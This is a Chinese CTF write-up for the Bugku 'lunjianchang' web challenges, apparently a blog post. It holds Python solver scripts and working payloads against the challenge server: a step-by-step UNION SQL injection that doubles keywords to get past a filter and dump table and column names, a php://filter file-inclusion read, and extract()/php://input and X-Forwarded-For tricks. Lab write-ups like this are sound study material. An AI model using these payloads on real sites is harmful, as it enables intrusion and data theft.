文章目录

  • 一,python
    • 日志审计
    • web2
    • web11
    • web13
    • web20
  • 二,SQL注入
    • web18
  • 三,其他
    • web1
    • web 3
    • web6

一,python

日志审计

import re
import sys
f = open("D:\\desktop\\1.txt")
line = 1
while line:line = f.readline()if line!='':a=re.search('%3D',line).end()b=re.search('--',line).start()c=line[a:b]sys.stdout.write(chr(int(c)))
#flag{mayiyahei1965ae7569}

web2

链接:论剑场web2
python代码:

import re
import requests
url='http://123.206.31.85:10002/'
s=requests.session()
html=s.get('http://123.206.31.85:10002/').text
num1=re.search('<br/>',html).end()
html=html[num1:]
num=re.search('</p>',html).start()
html=html[:num]
result=s.post(url,data={'result':eval(html)})
print(result.text)

结果:

用到的函数总结:

1,search().start

search()这里是用search(pattern=‘’, string=‘’)函数返回</p>第一个字符的位置。
(目的:用html=html[:num]将目的计算式提取出来)。

.start()取开头位置.end取结尾位置。

2,eval()post()

功能:
eval():将字符串str当成有效的表达式来求值并返回计算结果。

post(url=‘’,data=‘’)用post方法访问网页,并传递data里的值给网页。

web11

import hashlibdef get_token(txt):m1 = hashlib.md5()m1.update(txt.encode("utf-8"))token = m1.hexdigest()return token
for i in range(0,999999):if get_token(str(i))[0:6] == '89240b':print(i)break

or

import hashlibdef get_md5(txt):m1=hashlib.md5()m1.update(txt.encode('utf-8'))m2=m1.hexdigest()return m2for i in range(0,999999):if get_md5(str(i))[0:6] == '89240b':print(i)break

web13

论剑场web13链接

用burp抓包

发现herders里面password参数有base64码,解码发现flag,输入flag不对,提示能不能再快点。然后就要用到python了。

import re
import requests
import base64
url='http://123.206.31.85:10013/index.php'
s=requests.session()
html=s.get(url)
html=s.get(url).headers
psw=html['password']
a=base64.b64decode(psw)
print(a)
a=a[5:37]
print(a)
b=s.post(url,data={'password':a})
print(b).text

结果:

web20

题目:

这道题有两种方法:
1,第一种是MD5(时间戳)+一位随机数。
2,第二种方法是 直接获取网页上的动态密文提交。

python脚本:(MD5(时间戳)+随机数)

import time
import hashlib
import requests
import randomurllen=160
s=requests.session()while urllen==160:b=time.time()#+1   注:这里的+1应该是看电脑时间准不准,我有时候要加1,有时候不用加1.tim=str(int(b))a=hashlib.md5()a.update(tim.encode("utf-8"))c=a.hexdigest()url='http://123.206.31.85:10020/?key='+str(c)+str(random.randint(1,9))print urlhtml=s.get(url).texturllen=len(html)print html

python脚本:(获取网页上的动态密文提交)

import hashlib
import re
import requestsurllen=160#提前测出长度为160 while urllen==160:#如果页面长度不是160,说明flag出现s=requests.session()url="http://123.206.31.85:10020/"a=s.get(url).texta=a[27:60]url2="http://123.206.31.85:10020/?key="+str(a)html=s.get(url2).texturllen=len(html)print html.encode("utf-8")

用到的函数:
一,str()函数:
二,int ()函数:

二,SQL注入

web18

打开是这样的:

1,尝试sql注入,首先加一个分号,网页报错。

http://123.206.31.85:10018/list.php?id=1'


2,加“--+”注释后面的内容,不报错。说明是单引号闭合。
也可以使用 %23’--’'

http://123.206.31.85:10018/list.php?id=1'--+


3,测试发现union,select,or 过滤掉了,需要双写绕过。

http://123.206.31.85:10018/list.php?id=1' union --+
http://123.206.31.85:10018/list.php?id=1' select --+
http://123.206.31.85:10018/list.php?id=1' or --+      //都不报错

4,sql注入

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,3 --+
//不报错,说明字段数为3。

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,database() --+ //数据库为web18。

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(table_name
)from infoorrmation_schema.tables where table_schema='web18' --+ //测得表名为ctf和flag。

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(column_
name) from infoorrmation_schema.columns where table_name='flag' --+
//列名为id和flag。

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,flag from web18.flag --+
//得到flag

三,其他

web1

1,extract()函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。

2,file_get_contents()可以用php://input绕过。

综上:a不赋值,b赋值为php://input,这样a,c值都为空,得到flag

web 3

这道题试了半天不是文件上传,而是文件包含。利用PHP伪协议读取flag内容。

http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag

web6

随便输入账号密码测试一下,弹出以下字样,于是想起x-forwarded-for伪造。

但是账号密码想半天也不知道怎么得到,看了别人的writeup才知道在注释最下面。然后抓包…

论剑场 web部分 writeup相关推荐

  1. CTF论剑场(web) write up 未完待续

    CTF论剑场(web) write up web26 直接给你一串代码 <?php $num=$_GET['num']; $str=$_GET['str']; show_source(__FIL ...

  2. CTF论剑场web题目(持续更新)--WEB2

    web2 题目让在三秒内计算,首先试了试能不能前段绕过,发现不行,抓包也没有什么有用的信息,那就只能上脚本了,刚好,作为萌新的我,不会写脚本那就只能感谢大佬的脚本了: 脚本转自:https://www ...

  3. CTF_论剑场 misc杂项 WriteUp(持续更新)

    文章目录 签到题 头像 0和1的故事 Snake 这个人真的很高 你能找到flag吗 向日葵 安慰的话语 画图 flag在不在这里 Blind 火眼金睛 被截获的电报 怀疑人生 500txt c2un ...

  4. 论剑场中部分web题的WP

    好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客! web25 有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转ht ...

  5. web ctf解题记录 bugku的ctf_论剑场

    ctf_论剑场持续更新 web26 web1 web9 web2 web6(xff,f12) 日志审计 web14 需要写脚本的都放在脚本专辑里了,点这句话 web26 PHP is_numeric( ...

  6. Bugku新平台论剑场writeup

    头像 用010editor打开搜索flag就是找到的flag:flag{bGxvdmV0aGVnaXJs}再经过base64解密flag{llovethegirl}后再来进行MD5加密得到 flag{ ...

  7. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  8. “百度杯”CTF比赛 九月场--web Upload

    "百度杯"CTF比赛 九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程 解析渲染该过程主要分为以下步骤 解决方案 4 ...

  9. 2022 lineCTF WEB复现WriteUp

    lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...

最新文章

  1. 使用DOM4J读和写文档
  2. C++开发要注意的规范?
  3. iOS9定位获取经纬度 swift
  4. 《Django实战系列》
  5. VC中连接mdb数据库及其数据读取方法
  6. java中的深复制和浅复制
  7. 包邮送50本数据分析、MySQL、Python相关书籍!
  8. Windows装机必备软件大全,全部支持Vista系统
  9. 怎么删除映射网络里的计算机,win10系统删除右键中“映射网络驱动器和断开网络驱动器”选项的详细办法...
  10. 100---Python绘制圆锥体
  11. 3.26 文字工具的使用 [原创Ps教程]
  12. Burp Suite暴力破解网站密码
  13. 兆易创新携手合肥产投进军12英寸晶圆存储器
  14. arduino使用oled代码_【教程】在ESP32上使用E32433T LoRa模块
  15. 收到服务器发来的配置信息同步命令,Microsoft Exchange ActiveSync 和第三方设备的当前问题...
  16. MySQL基本操作—DQL实训真题
  17. 讯飞开放平台七夕福利
  18. 安徽外国语学院计算机信息管理,2021年安徽外国语学院录取结果查询网址入口及录取结果公布时间...
  19. 【办公常用软件有哪些】万彩办公大师教程丨超级文本转语音
  20. 02-waystage

热门文章

  1. 详细谈谈软文的定义和软文的发展历史,以及软文的作用
  2. HE3050C锂电池保护IC,SOT23-3封装
  3. matlab2020年期末,科学计算与MATLAB语言2020年超星期末考试大全答案
  4. 从电池中管理使用电动车(EVS)和电力注射构成控制EV的充电和排放作为有吸引力的研究领域的问题
  5. 典型ieee3机9节点电力系统潮流分析_借“玩潮無界”国创潮流玩具展复盘开业半年的上海世茂广场...
  6. Starting MySQL... ERROR The server quit without updating PID file 解决办法
  7. 数学与计算机教学设计,数学教案- 小学数学与信息技术整合教案教学设计 教案...
  8. 重建分区表主键 - Recreate Primary Key on a partition table
  9. 使用STM32CuBeMX生成代码失败
  10. PCA、LPP及两者正交改进的特征提取特征降维算法